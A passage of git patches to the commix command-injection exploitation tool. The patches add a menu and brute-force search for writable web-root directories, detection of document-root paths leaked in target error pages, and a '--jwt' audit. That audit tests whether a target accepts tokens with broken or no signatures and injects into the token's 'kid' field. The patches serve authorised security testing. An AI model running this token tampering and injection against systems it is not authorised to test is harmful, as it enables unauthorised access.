settings.WEB_ROOT and settings.WEB_ROOT not in common_roots: + common_roots.insert(0, settings.WEB_ROOT) + + # The full list is what gets tried - only a short preview of it is worth putting on one line, + # or the line wraps wherever the terminal happens to be narrow enough to break it. + preview = "'" + "', '".join(common_roots[:3]) + "'" + if len(common_roots) > 3: + preview += ", ..., " + str(len(common_roots)) + " total" + # Printed, not folded into the input() prompt below - a prompt with embedded newlines is a + # known readline weak spot (cursor/width tracking assumes one line), and corrupts on redraw in + # some terminals. Plain prints have no such tracking to get wrong. + question = "What do you want to use for the writable directory?" + options = ( + "[1] Common location(s) (" + preview + ") (default)", + "[2] Custom location(s)", + "[3] Custom directory list file", + "[4] Brute force search", + ) + settings.print_data_to_stdout(Style.BRIGHT + question + Style.RESET_ALL) + for option in options: + settings.print_data_to_stdout(Style.BRIGHT + option + Style.RESET_ALL) + # '--answers' is matched against the full text above (every option's own words), the same breadth + # sqlmap's own answer-matching gets by searching its whole (there, multi-line) prompt - while the + # prompt actually shown stays the bare "> " sqlmap itself shows once a multi-line one is rendered. + choice = resolve_menu_choice(question + " " + " ".join(options), "> ", "1") + + if choice == "2": + settings.WEB_ROOT_CATEGORY_LABEL = "custom location(s)" + message = "Please provide a comma separated list of absolute directory paths" + given = common.read_input(message, default="", check_batch=True) + paths = [path.strip() for path in given.split(",") if path.strip()] + return paths or common_roots + + if choice == "3": + settings.WEB_ROOT_CATEGORY_LABEL = "directory list file" + message = "What's the list file location? " + list_path = common.read_input(message, default="", check_batch=True) + try: + return common.load_list_from_file(list_path, "directory list") + except SystemExit: + return common_roots + + if choice == "4": + settings.WEB_ROOT_CATEGORY_LABEL = "brute-forced directory list" + return brute_force_web_roots() + + settings.WEB_ROOT_CATEGORY_LABEL = "common location(s)" + return common_roots + +""" +Try to work out the web root from an absolute file path the target has already leaked somewhere +in its own output - a PHP warning naming the script's own path is the most common way - checked +before ever asking the operator, the same order sqlmap's own web-root resolution follows. A match +is cut right after whichever generic document-root name (or the target's own hostname) it carries, +the same as the directory the target is actually using is named. +""" +def web_root_from_leaked_path(url): + try: + parsed = _urllib.parse.urlparse(url) + response = get_response(parsed.scheme + "://" + parsed.netloc + "/") + if response is None or isinstance(response, bool): + return None + body = decode_page_body(response.read(), response) + except Exception: + return None + + markers = ["/" + name + "/" for name in settings.GENERIC_DOC_ROOT_DIRECTORY_NAMES] + if parsed.hostname: + markers.append("/" + parsed.hostname + "/") + + for match in re.finditer(settings.DIRECTORY_REGEX, body or ""): + path = match.group(0) + for marker in markers: + if marker in path: + return path.split(marker)[0] + marker + + return None + """ Provide custom server's root directory """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): if not settings.CUSTOM_WEB_ROOT: - # Prefer the already-detected default over the generic one, but only while it still belongs to - # the operating system in use: the two disagree whenever that was settled after the root was. - if settings.WEB_ROOT and web_root_matches_os(settings.WEB_ROOT): - default_root_dir = settings.WEB_ROOT - elif settings.TARGET_OS == settings.OS.WINDOWS : - default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + # Prefer an already auto-detected root over asking - but only a genuinely confirmed one (never + # a banner guess, which belongs in the menu instead), and only its one, first turn, or a write + # failure on it would keep "preferring" the very path that just failed instead of moving on. + if not settings.WEB_ROOT_SETTLED_ONCE and settings.WEB_ROOT and not settings.WEB_ROOT_IS_GUESS and web_root_matches_os(settings.WEB_ROOT): + settings.WEB_ROOT_CANDIDATES = [] + elif settings.WEB_ROOT_CANDIDATES: + # A previous choice already built a list - a write failure moves to the next untried + # candidate instead of asking the same question over again. + settings.WEB_ROOT = settings.WEB_ROOT_CANDIDATES.pop(0) + if settings.VERBOSITY_LEVEL != 0: + info_msg = "Trying '" + settings.WEB_ROOT + "' instead." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: - default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) - message = "Enter a writable directory to use for file operations (e.g. '" - message += default_root_dir + "') " - settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) - if len(settings.WEB_ROOT) == 0: - settings.WEB_ROOT = default_root_dir + leaked = web_root_from_leaked_path(url) if url else None + if leaked: + info_msg = "Retrieved the web server document root: '" + leaked + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + settings.WEB_ROOT = leaked + settings.WEB_ROOT_CANDIDATES = [] + else: + warn_msg = "Unable to automatically retrieve the web server document root." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + candidates = choose_web_root_candidates() + settings.WEB_ROOT = candidates[0] if candidates else (settings.WINDOWS_DEFAULT_DOC_ROOTS[0] if settings.TARGET_OS == settings.OS.WINDOWS else settings.LINUX_DEFAULT_DOC_ROOTS[0]) + settings.WEB_ROOT_CANDIDATES = candidates[1:] + settings.WEB_ROOT_SETTLED_ONCE = True settings.CUSTOM_WEB_ROOT = True if not settings.LOAD_SESSION: @@ -6037,7 +6225,13 @@ def progress_display_text(chars, furthest, total): def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) while True: - message = "Unable to write to '" + settings.WEB_ROOT + "'. " + # Named individually only at '-v' above 0 - at default verbosity, every path already tried + # was never named either, so the last one alone would not mean anything on its own. + if settings.VERBOSITY_LEVEL != 0 or not settings.WEB_ROOT_CATEGORY_LABEL: + where = "'" + settings.WEB_ROOT + "'" + else: + where = "any " + settings.WEB_ROOT_CATEGORY_LABEL + " directory" + message = "Unable to write to " + where + ". " message += "Do you want to use '" + tmp_path + "' instead? [Y/n] " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 959ea5fb23..2556363721 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -522,6 +522,8 @@ def _run_os_cmd(): return _exploit(separator, prefix, suffix, settings.WHITESPACES[0], vuln_parameter, payloads.transport_of(payload), TAG) except TypeError: checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass _announce_technique(injection_type, technique) @@ -790,6 +792,8 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): TAG = ''.join(random.choice(string.ascii_uppercase) for _ in range(6)) except TypeError: checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass _announce_technique(injection_type, technique) @@ -1077,6 +1081,8 @@ def do_time_related_process(url, timesec, filename, http_request_method, url_tim resumed = True except TypeError: checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass if not resumed: num_of_chars = num_of_chars + 1 @@ -1374,6 +1380,9 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject counter = 1 exit_loops = False no_result = True + # Left unset where a stored technique was expected to resume outright - computed lazily below if + # a 'StoredWebRootConflict' sends that attempt back to the fresh detection path after all. + tmp_path = None if technique == settings.INJECTION_TECHNIQUE.RESULTS_BASED: try: @@ -1475,6 +1484,8 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject resumed = True except TypeError: checks.error_loading_session_file() + except session_handler.StoredWebRootConflict: + pass if not resumed: i = i + 1 @@ -1484,6 +1495,9 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject prefix = "" if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: + if tmp_path is None: + url_time_response = 0 + tmp_path = checks.check_tmp_path(url, timesec, filename, http_request_method, url_time_response) # The output file for file-based injection technique. OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) else: @@ -1550,6 +1564,19 @@ def do_results_based_process(url, timesec, filename, http_request_method, inject # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif (i == failed_tries and no_result is True) or (i == total): + """ + A directory-choice menu left more candidates untried - move on to the next one + before ever offering "/tmp/". Done as a fresh call, not a 'continue' in place: 'i' + only ever counted up against the one 'combinations' list this call already built, + and the 'for' loop walking it does not rewind because a counter did - resetting 'i' + alone tried the new root against whatever few combinations were left in that same + exhausted pass, not a fair run of its own, and read as "still not injectable" after + barely trying. A fresh call builds its own list and its own count from zero. + """ + if not settings.USER_APPLIED_WEB_ROOT and settings.WEB_ROOT_CANDIDATES: + settings.CUSTOM_WEB_ROOT = False + checks.custom_web_root(url, timesec, filename, http_request_method, url_time_response) + return do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) # Offered before giving up rather than instead of the last combinations: where # there are fewer of those than '--failed-tries' allows, every one of them is # still tried, and the temporary directory is what follows them failing. diff --git a/src/core/main.py b/src/core/main.py index 687790ee5e..1fe186a2bb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -405,6 +405,11 @@ def init_injection(url): settings.WEB_ROOT = "" settings.DEFAULT_WEB_ROOT = "" settings.CUSTOM_WEB_ROOT = False + settings.WEB_ROOT_CANDIDATES = [] + settings.WEB_ROOT_SETTLED_ONCE = False + settings.WEB_ROOT_IS_GUESS = False + settings.WRITABLE_DIR_ATTEMPT_SAID = False + settings.WEB_ROOT_CATEGORY_LABEL = "" if not settings.USER_APPLIED_WEB_ROOT: menu.options.web_root = False diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 3c326555bf..616c9329c0 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1153,6 +1153,7 @@ def server_identification(response): # A server that runs on one platform only says which platform this is, whatever the # banner left out - IIS names no "(Win64)" and is no less Windows for it. settings.WEB_ROOT = roots.get(platform) or (list(roots.values())[0] if len(roots) == 1 else "") + settings.WEB_ROOT_IS_GUESS = bool(settings.WEB_ROOT) break break diff --git a/src/utils/common.py b/src/utils/common.py index 8ca73a4e79..6d76acadcc 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -103,6 +103,11 @@ def is_empty(): message += (settings.END_LINE.LF if message.count(settings.END_LINE.LF) > 1 else "") elif len(message) == 0: return is_empty() + elif not message.rstrip().endswith((']', '>')): + # A free-text answer prompt - not a '[Y/n]'-style one, and not already ending in its own + # '>' - marked the same way every one of them now is, so where to actually type is never + # in doubt. + message = message.rstrip() + " > " if settings.ANSWERS: if not any(_ in settings.ANSWERS for _ in ",="): return is_empty() diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 3e07c2b7ec..0c9277bfe2 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -570,6 +570,16 @@ def load_stored_techniques(url, check_parameter, http_request_method): except Exception: return stored +""" +Raised by 'apply_stored_technique()' when an explicit '--web-root' conflicts with the one the +stored file-based technique was found with - its own stored payload has that old path written +into it, so honoring the new one while replaying the old payload verbatim would send the two +different directories in the same request. The stored technique is dropped (forcing it to be +found fresh, consistent with the path just given) rather than silently overriding either one. +""" +class StoredWebRootConflict(Exception): + pass + """ Restore stored technique state and resume without querying the database again. """ @@ -625,9 +635,17 @@ def apply_stored_technique(row): # Stored as text, restored as one of the two values the rest of the code compares against. settings.TARGET_OS = settings.OS.WINDOWS if target_os.lower() == settings.OS.WINDOWS else settings.OS.UNIX if web_root and web_root != "None": - # The stored payload writes to the document root it was found with, spelled out inside it. - if settings.USER_APPLIED_WEB_ROOT: - announce_replay_conflict(web_root, menu.options.web_root, "document root", "--web-root") + # The stored payload writes to the document root it was found with, spelled out inside it - an + # explicit '--web-root' naming a different one cannot be honored by replaying that payload + # verbatim, so the stored technique is dropped instead of either value silently losing to the + # other; it is found again fresh, against the directory just given. + if settings.USER_APPLIED_WEB_ROOT and str(menu.options.web_root) != str(web_root): + warn_msg = ("The stored session was found using the document root '" + web_root + "', which " + "differs from the '--web-root' value provided now ('" + str(menu.options.web_root) + + "'). Forcing a fresh detection of the file-based technique to use it.") + say_once_about_session(warn_msg) + settings.STORED_TECHNIQUES.pop(technique, None) + raise StoredWebRootConflict() settings.WEB_ROOT = web_root for stored, applied_name, label, switch in ((second_url, "second_url", "second-order URL", "--second-url"), (second_req, "second_req", "second-order request file", "--second-req"), diff --git a/src/utils/settings.py b/src/utils/settings.py index 7ab7d70585..789488b334 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "207" +REVISION = "208" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -917,6 +917,11 @@ def single_whitespace_for(data=None): # Whether '--web-root' was explicitly supplied on the CLI USER_APPLIED_WEB_ROOT = False USER_APPLIED_INTERPRETER = False + +# Whether WEB_ROOT is only a guess (from the server's banner) rather than something actually +# confirmed - a guess is worth offering first, not worth skipping the directory-choice menu for, +# since it is wrong often enough that silently trusting it just delays finding that out. +WEB_ROOT_IS_GUESS = False USER_APPLIED_TIMESEC = False USER_APPLIED_TMP_PATH = False @@ -1554,6 +1559,10 @@ def ascii_transparent_encoding(name): DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+' +# Directory names a leaked absolute path (an error message naming the running script's own path is +# the most common way) is cut at, the same document-root name the target itself is likely using. +GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") + # TFB Decimal TFB_DECIMAL = False @@ -2378,6 +2387,33 @@ class END_LINE: "/usr/local/lsws/DEFAULT/html/" # LiteSpeed default ] +# Broader prefixes '--web-root'(interactive)'s brute-force search combines with the suffixes below - +# independent of, and wider than, the common-location lists above. +BRUTE_DOC_ROOT_PREFIXES = { + OS.WINDOWS: ("C:\\inetpub\\wwwroot", "C:\\xampp\\htdocs", "C:\\wamp\\www", "C:\\wamp64\\www", "C:\\laragon\\www", "C:\\Program Files\\Apache Group\\Apache2\\htdocs", "C:\\inetpub\\vhosts\\" + DOC_ROOT_TARGET_MARK), + OS.UNIX: ("/var/www", "/var/www/" + DOC_ROOT_TARGET_MARK, "/var/www/vhosts/" + DOC_ROOT_TARGET_MARK, "/var/www/html", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/srv/www", "/srv/http", "/usr/share/nginx/html", "/opt/lampp/htdocs"), +} +BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "public", "public_html", "web", "www", "site", "data") + +# The candidate directories still untried from the last directory-choice menu, nearest first - the +# one commix is already using is not in it, so a write failure pops straight to the next untried one. +WEB_ROOT_CANDIDATES = [] + +# Whether an auto-detected web root (or the directory-choice menu) has already had its one turn to +# be preferred without asking - cleared once isn't "still auto-detected" on the next retry, or every +# failed write would keep re-trying the same path instead of moving on to the next candidate. +WEB_ROOT_SETTLED_ONCE = False + +# Whether the generic "looking for a writable directory" notice has already been said once at +# default verbosity - a retry cycling through several candidates says it once, not once per +# candidate; '-v' above 0 still names every one of them as it goes. +WRITABLE_DIR_ATTEMPT_SAID = False + +# Which directory-choice menu answer the current web-root candidates came from (e.g. "common +# location(s)", "custom location(s)") - named at default verbosity instead of each path in turn, +# which only '-v' above 0 does. Empty where the root came from auto-detection, not the menu. +WEB_ROOT_CATEGORY_LABEL = "" + """ Where each web server commix recognises keeps its document root, per platform. From 4ea406c0c25e4d130d6c945ced6bc5a56b352f19 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Sat, 10 Oct 2026 11:19:17 +0300 Subject: [PATCH 0879/1023] Added new switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point --- doc/CHANGELOG.md | 1 + src/core/controller/checks.py | 186 +++++++++++++++++++++++++++++- src/core/controller/controller.py | 11 +- src/core/controller/injector.py | 4 +- src/core/main.py | 7 ++ src/core/parse/cmdline.py | 6 + src/utils/jwt_audit.py | 158 +++++++++++++++++++++++++ src/utils/settings.py | 15 ++- 8 files changed, 381 insertions(+), 7 deletions(-) create mode 100644 src/utils/jwt_audit.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 12da8518a1..c68ac92602 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New switch `--jwt` for auditing the request's JSON Web Token, testing its `kid` as an injection point. * Added: A directory-choice menu for the file-based technique's writable-directory prompt, trying every candidate before falling back to `/tmp/`. * Added: Dictionary-based password cracking for `--passwords`' retrieved hashes (MD5-crypt, SHA-256/512-crypt), prompted automatically. * Added: New option `--pty` for upgrading a plain reverse/bind TCP shell to a full interactive PTY. diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index a0eee4f3c6..4960a94106 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -37,6 +37,7 @@ from src.utils import common from src.utils import logs from src.utils import crypt_algos +from src.utils import jwt_audit from src.core.parse import cmdline as menu from src.utils import settings from src.thirdparty.odict import OrderedDict @@ -1813,7 +1814,7 @@ def target_fingerprint_summary(): if technology: settings.print_data_to_stdout(settings.print_retrieved_data("Web application technology", ", ".join(technology))) if shell_identified: - settings.print_data_to_stdout(settings.print_retrieved_data("Command shell", target_shell_label())) + settings.print_data_to_stdout(settings.print_retrieved_data("Command shell type", target_shell_label())) def _injection_points_summary(header_msg, rows, decode_payload=False): settings.print_data_to_stdout(header_msg) @@ -3739,6 +3740,12 @@ def recognise_encoding(value): def encoding_from_name(name, value): name = (name or "").strip().lower() value = value or "" + if name == settings.ENCODING_JWT_KID: + data = jwt_audit.parse(value) + # Only a token that names a 'kid' carries anything here - the rest of it is kept as it arrived. + if not data or "kid" not in data["header"]: + return None + return {"codec": "jwt-kid", "header": data["header"], "token": value} if name == settings.ENCODING_HEX: body = value[2:] if value[:2].lower() == "0x" else value return {"codec": "hex", "upper": body.upper() == body and body.lower() != body, @@ -3836,6 +3843,8 @@ def apply_value_encoding(payload): def apply_encoding(value, description): if not description: return value + if description.get("codec") == "jwt-kid": + return jwt_audit.rewrite_kid(description.get("token") or "", value) if description.get("codec") == "hex": body = value.encode(settings.DEFAULT_CODEC).hex() if description.get("upper"): @@ -3850,6 +3859,9 @@ def apply_encoding(value, description): def strip_encoding(value, description): if not description: return value + if description.get("codec") == "jwt-kid": + data = jwt_audit.parse(value) + return str(data["header"].get("kid", "")) if data else value if description.get("codec") == "hex": body = value[2:] if description.get("prefixed") else value return bytearray.fromhex(body).decode(settings.DEFAULT_CODEC) @@ -5114,6 +5126,178 @@ def print_common_files(found, filename): info_msg = "None of the common files checked for were found on the target." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) +""" +Where in the request a token could be carried, each named as it is reported. Parameters first, then +the headers - the same order the token is looked for in. +""" +def _jwt_carriers(url): + return (("GET parameter", url, None), + ("POST parameter", menu.options.data, "data"), + ("Cookie parameter", menu.options.cookie, "cookie"), + ("'Host' header", menu.options.host, "host"), + ("'Referer' header", menu.options.referer, "referer"), + ("'User-Agent' header", menu.options.agent, "agent"), + ("'Authorization' header", menu.options.auth_cred, "auth_cred"), + ("extra header", menu.options.header, "header"), + ("extra header", menu.options.headers, "headers")) + +""" +The name of the parameter carrying this token, where it rides in one written 'name=value'. +""" +def _jwt_parameter(value, token): + value = value or "" + # A URL carries its parameters after the '?', and everything before it is not one of them. + if "?" in value: + value = value.split("?", 1)[1] + for pair in re.split(r"[&;]", value): + name, separator, carried = pair.strip().partition("=") + if separator and token in carried: + return name.strip() + return None + +""" +The first token the request carries, with where it was found and the parameter carrying it. +""" +def _locate_jwt(url): + for where, value, option in _jwt_carriers(url): + for token in jwt_audit.find(value): + return where, token, _jwt_parameter(value, token), option + return None, None, None, None + +""" +The page the target answers with when the token is this one, or None where the request did not come +back. The carrier is put back exactly as it was either way - every other check reads it afterwards. +""" +def _jwt_page(url, http_request_method, option, token, replacement): + from src.core.requests import requests + restore = getattr(menu.options, option) if option else None + try: + if option: + setattr(menu.options, option, str(restore).replace(token, replacement)) + target = url + else: + target = url.replace(token, replacement) + response = requests.crawler_request(target, http_request_method) + if response is None or isinstance(response, bool): + return None + return decode_page_body(response.read(), response) + except Exception: + return None + finally: + if option: + setattr(menu.options, option, restore) + +""" +A way to tell a token the target accepted from one it refused, or None where it answers both alike. + +Asked with something that is not a token at all, rather than with a token whose signature is wrong: +a target that refuses the first but takes the second is exactly the target worth reporting, and +building the oracle out of a wrong signature would have called that target indistinguishable and +said nothing about it. What this separates is a target that gates on the token from one that never +reads it - and only where it does gate can an answer below mean anything. +""" +def _jwt_oracle(url, http_request_method, option, token): + accepted = _jwt_page(url, http_request_method, option, token, token) + if accepted is None: + return None + refused = _jwt_page(url, http_request_method, option, token, settings.JWT_NON_TOKEN) + if refused is None: + return None + if comparable_page(accepted) == comparable_page(refused): + return None + return comparable_page(accepted) + +""" +Emit findings most-severe first. A finding that names something worth testing is marked a candidate, +one read straight off the token is marked confirmed - and only a real weakness is a warning. +""" +def _report_jwt(findings, filename): + if not findings: + info_msg = "No JSON Web Token weaknesses found." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + + for finding_id, severity, summary, detail in sorted(findings, key=lambda _: jwt_audit.SEVERITY_RANK.get(_[1], 9)): + marker = "candidate" if finding_id in jwt_audit.CANDIDATES else "confirmed" + message = "JWT " + marker + " [" + severity + "]: " + summary + " (" + detail + ")." + if severity == "info": + settings.print_data_to_stdout(settings.print_info_msg(message)) + else: + settings.print_data_to_stdout(settings.print_warning_msg(message)) + logs.add_line(filename, message, group="jwt") + +""" +Say once that the request carries a token, without being asked to look - the switch that examines it +properly is named rather than assumed, so a run nobody asked for stays to a line. +""" +def jwt_heuristic(url, filename): + if settings.JWT_CHECKED or menu.options.jwt: + return + settings.JWT_CHECKED = True + + where, token, _parameter, _option = _locate_jwt(url) + if not token: + return + + info_msg = "Heuristic (JWT) test shows that the request carries a JSON Web Token (re-run with the '--jwt' switch)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for _, severity, summary, detail in jwt_audit.audit(token): + message = "JWT weakness (" + severity + "): " + summary + "." + settings.print_data_to_stdout(settings.print_info_msg(message)) + logs.add_line(filename, message, group="jwt") + +""" +Report what the request's own token declares, read from the request as it stands and answered +offline. Where it names a 'kid', the parameter carrying it is then marked so the run tests that +field - nothing is signed for that, the token is rebuilt around each payload as it arrived. +""" +def scan_jwts(url, filename, http_request_method=settings.HTTPMETHOD.GET): + where, token, parameter, option = _locate_jwt(url) + if not token: + warn_msg = "No JSON Web Token found in the request (looked in the GET/POST/cookie parameters and the HTTP headers)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return + + data = jwt_audit.parse(token) + info_msg = "Found a JSON Web Token in the " + where + " (algorithm '" + str(data["header"].get("alg") or "none") + "')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + logs.add_line(filename, "JWT (" + where + "): " + token, group="jwt") + + findings = jwt_audit.audit(token) + + """ + What the target itself says about the token, which is the half the token cannot say on its own. + + A target that never reads the signature answers a broken one exactly as it answers the real one - + so the two are asked for, and where they come back alike there is no answer to read and nothing + below is concluded. Nothing is signed for any of this: a signature is made unusable or dropped. + """ + accepted = _jwt_oracle(url, http_request_method, option, token) + if accepted is None: + warn_msg = "The target answers the same whether the token is sent or not, so what it would make of a tampered one cannot be told apart (what the token itself declares still stands)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + broken = _jwt_page(url, http_request_method, option, token, jwt_audit.break_signature(token)) + if broken is not None and comparable_page(broken) == accepted: + findings.append(("signature-not-verified", "critical", "the target accepts a token whose signature cannot be valid", + "its claims are taken as read, so any of them can be restated")) + unsigned = _jwt_page(url, http_request_method, option, token, jwt_audit.strip_signature(token)) + if unsigned is not None and comparable_page(unsigned) == accepted: + findings.append(("alg-none-accepted", "critical", "the target accepts an unsigned ('alg':'none') token", + "its claims are taken as read, so any of them can be restated")) + + _report_jwt(findings, filename) + + """ + A 'kid' named as worth testing is then actually tested, rather than left for the operator to wire + up by hand - the parameter carrying the token is marked as carrying its 'kid', so every technique + the run would use goes at that field with the rest of the token kept as it arrived. + """ + if "kid" in data["header"] and parameter and not named_encoding(parameter, token): + settings.PARAMETER_ENCODINGS[parameter] = settings.ENCODING_JWT_KID + info_msg = "Testing the '" + parameter + "' parameter as the token's 'kid' from here on." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ File content to read. """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index a20f9b5522..4745f06463 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -267,7 +267,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, checks.set_target_os(shell_os) # A payload that ran answers what the banner could not, so nothing need be asked. settings.OS_IDENTIFICATION_PENDING = False - announce_heuristic_finding("identified command shell: '" + checks.target_shell_label() + "'") + announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'") # A shell answering here says nothing about whether a string is also evaluated as # code, so it settles the question only where the code injection sink was not asked # for by name - otherwise every technique carrying it would skip itself, and the run @@ -385,7 +385,7 @@ def _http_first(): return url if not menu.options.os: settings.TARGET_OS = target_os - announce_heuristic_finding("identified command shell: '" + checks.target_shell_label() + "'") + announce_heuristic_finding("identified command shell type: '" + checks.target_shell_label() + "'") return url """ @@ -873,6 +873,13 @@ def read_value_as(description): if decoded != settings.TESTABLE_VALUE: if menu.options.data: menu.options.data = menu.options.data.replace(settings.TESTABLE_VALUE, decoded) + # The envelope is taken off wherever the value rides, not just in the body and the URL - a + # carrier left holding the written-out value appends the payload to that instead, and what + # goes out is the whole envelope with the payload after it rather than the value replaced. + for option in ("cookie", "header", "headers", "host", "referer", "agent", "auth_cred"): + carried = getattr(menu.options, option, None) + if carried and settings.TESTABLE_VALUE in str(carried): + setattr(menu.options, option, str(carried).replace(settings.TESTABLE_VALUE, decoded)) url = url.replace(settings.TESTABLE_VALUE, decoded) settings.TESTABLE_VALUE = decoded diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 6f0ef44c15..de6a2b0d4c 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -1375,8 +1375,8 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT while prompt: - message = "Do you want to use a random file '" + OUTPUT_TEXTFILE - message += "' to receive the execution output? [Y/n] " + message = "Do you want to use a random file ('" + OUTPUT_TEXTFILE + message += "') to receive the execution output? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: diff --git a/src/core/main.py b/src/core/main.py index 1fe186a2bb..822a6228ba 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -410,6 +410,7 @@ def init_injection(url): settings.WEB_ROOT_IS_GUESS = False settings.WRITABLE_DIR_ATTEMPT_SAID = False settings.WEB_ROOT_CATEGORY_LABEL = "" + settings.JWT_CHECKED = False if not settings.USER_APPLIED_WEB_ROOT: menu.options.web_root = False @@ -801,6 +802,12 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit(settings.EXIT_FAILURE) + # Said before anything is tested, so what the request already carries is known going in. + if menu.options.jwt: + checks.scan_jwts(url, filename, http_request_method) + else: + checks.jwt_heuristic(url, filename) + # Named nowhere by the target and answered to all the same, so tested like any other parameter. if menu.options.mine_params: mined = mining.mine_parameters(url, http_request_method) diff --git a/src/core/parse/cmdline.py b/src/core/parse/cmdline.py index 0740d10a19..cdbf45197f 100755 --- a/src/core/parse/cmdline.py +++ b/src/core/parse/cmdline.py @@ -1018,6 +1018,12 @@ def banner(): default=False, help="Mine for endpoints named in the scripts a page loads.") +detection.add_option("--jwt", + action="store_true", + dest="jwt", + default=False, + help="Check the request's JSON Web Token and test its 'kid'.") + detection.add_option("--skip-calc", action="store_true", dest="skip_calc", diff --git a/src/utils/jwt_audit.py b/src/utils/jwt_audit.py new file mode 100644 index 0000000000..7c1c664021 --- /dev/null +++ b/src/utils/jwt_audit.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import json +import base64 + +""" +A JSON Web Token carried in a request is a parameter like any other - and a few of its fields are +read by the target before anything is authenticated at all, which is what makes them worth naming +here. 'kid' is the one that matters for this tool: it names which key to verify with, the target +looks that key up somewhere (a file, a row, a command), and a lookup built by concatenation is an +injection sink reached on every request. The audit itself is answered offline, from the token already +in the request; rebuilding one around a new 'kid' is the one thing here that writes a token out, and +it keeps the claims and the signature exactly as they arrived rather than signing anything. +""" + +# base64url(header).base64url(payload).base64url(signature) - a header always begins '{"', which +# encodes to the literal 'eyJ', so this finds a token embedded in a larger cookie or header value. +JWT_REGEX = r"eyJ[A-Za-z0-9_-]{4,}\.eyJ[A-Za-z0-9_-]{4,}\.[A-Za-z0-9_-]*" + +# Header fields that name where the verifying key is fetched from, rather than carrying it. Each is +# a documented way to point a target at key material it should not trust (CVE-2018-0114 and kin). +UNTRUSTED_KEY_SOURCE_FIELDS = ("jku", "x5u", "jwk", "x5c") + +# Severity to sort rank, so the report leads with what matters most. +SEVERITY_RANK = {"critical": 0, "high": 1, "medium": 2, "info": 3} + +# Findings that name something worth testing rather than something read off the token - reported as +# candidates, not as weaknesses already established. +CANDIDATES = ("alg-confusion", "kid-injection") + +""" +Decode one base64url segment, whatever padding it was written with. +""" +def _segment(value): + return base64.urlsafe_b64decode(value + "=" * (-len(value) % 4)) + +""" +Split a token into its decoded header and payload, or None where it is not a well-formed one. +""" +def parse(token): + if not token or token.count(".") != 2: + return None + header, payload, signature = token.split(".") + try: + header = 